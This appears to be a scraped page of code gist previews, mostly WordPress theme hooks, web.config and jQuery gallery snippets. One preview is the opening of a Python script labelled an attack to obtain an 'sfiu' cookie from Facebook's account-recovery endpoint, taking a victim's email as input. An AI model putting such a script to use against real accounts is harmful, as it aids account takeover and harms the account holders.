This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?xml version="1.0" encoding="UTF-8"?> | |
<configuration> | |
<system.webServer> | |
<rewrite> | |
<rules> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
add_filter( 'dt_menu_options', 'custom_menu_filter' ); | |
function custom_menu_filter( $options = array() ) { | |
if(is_page( 42 )) { | |
$options['location'] = 'foo'; | |
} | |
if(is_category( )) { | |
$options['location'] = 'bar'; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
add_action( 'get_header', 'dt_archive_sidebar', 10 ); | |
function dt_archive_sidebar() { | |
$config = Presscore_Config::get_instance(); | |
if(is_archive() || is_category() ||is_search() ){ | |
$config->set( 'sidebar_position', 'right' ); | |
$config->set( 'footer_widgetarea_id', 'sidebar_1' ); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#! usr/bin/python | |
# -*- coding: utf-8 -*- | |
import requests | |
######################### Attack to get sfiu cookie ###################### | |
url = 'https://touch.facebook.com/login/identify/?ctx=recover&ref=wizard' | |
phno = raw_input('Enter EmailId:\n>') | |
payload = { | |
'lsd' : 'AVqoLCeF', |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
, | |
basicInit : function() { | |
retinizer(); | |
var $container = this.settings.targetContainer; | |
$('.dt-gallery-mfp-popup', $container).not('.mfp-ready').on('click', function(){ | |
var $this = $(this), | |
$container = $this.parents('article.post'); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
jQuery(document).ready(function($) { | |
dtGlobals.magnificPopupBaseConfig = { | |
type: 'image', | |
tLoading: 'Loading image ...', | |
mainClass: 'mfp-img-mobile', | |
removalDelay: 300, | |
image: { | |
tError: '<a href="%url%">The image #%curr%</a> could not be loaded.', | |
titleSrc: function(item) { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/*! Magnific Popup - v1.1.0 - 2016-02-20 | |
* http://dimsemenov.com/plugins/magnific-popup/ | |
* Copyright (c) 2016 Dmitry Semenov; */ | |
;(function (factory) { | |
if (typeof define === 'function' && define.amd) { | |
// AMD. Register as an anonymous module. | |
define(['jquery'], factory); | |
} else if (typeof exports === 'object') { | |
// Node/CommonJS | |
factory(require('jquery')); |